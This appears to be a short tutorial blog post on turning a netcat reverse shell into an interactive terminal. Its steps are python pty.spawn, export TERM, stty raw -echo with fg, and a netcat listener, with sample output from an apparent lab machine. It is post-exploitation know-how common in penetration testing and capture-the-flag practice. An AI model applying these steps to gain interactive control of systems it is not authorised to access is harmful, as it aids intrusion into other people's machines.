Make your dumb netcat shell interactive and awesome

Reducing the pain of working with netcat reverse shells

Netcat shells can be a tough nut to crack and work with, so, you can make them interactive with auto completions and stuffs to make it easier for you to work with them.

Once you have the netcat shell back (it can be a simple bash reverse shell or a php-web-reverse-shell) check if python is available or not:

$  which python

/usr/bin/python3

If python exists, then you can run:

python3 -c 'import pty;pty.spawn("/bin/bash")'

python -c 'import pty;pty.spawn("/bin/bash")'

Now you should have a better shell like the one below:

www-data@oopsie:/$ ls
ls
bin    dev   initrd.img      lib64       mnt   root  snap  tmp  vmlinuz
boot   etc   initrd.img.old  lost+found  opt   run   srv   usr  vmlinuz.old
cdrom  home  lib             media       proc  sbin  sys   var

Now set the terminal type in host/target terminal (aka your reverse shell):

export TERM=xterm

Next you need to background the shell with Ctrl + Z.

Now run:

stty raw -echo; fg

The fg is to foreground our shell running in the background.

You won't be able to see those letters on the screen as you type, but hit Enter afterwards, and the shell will appear automatically.

Now just set the rows and columns using:

Next in the prompt terminal type? set the type you obtained before. Generally it will be xterm.

stty rows 56 columns 213

Note that if the shell dies, any input in your own terminal will not be visible (as a result of having disabled terminal echo). To fix this, type reset and press enter.

~# nc -lvp 1234
               reset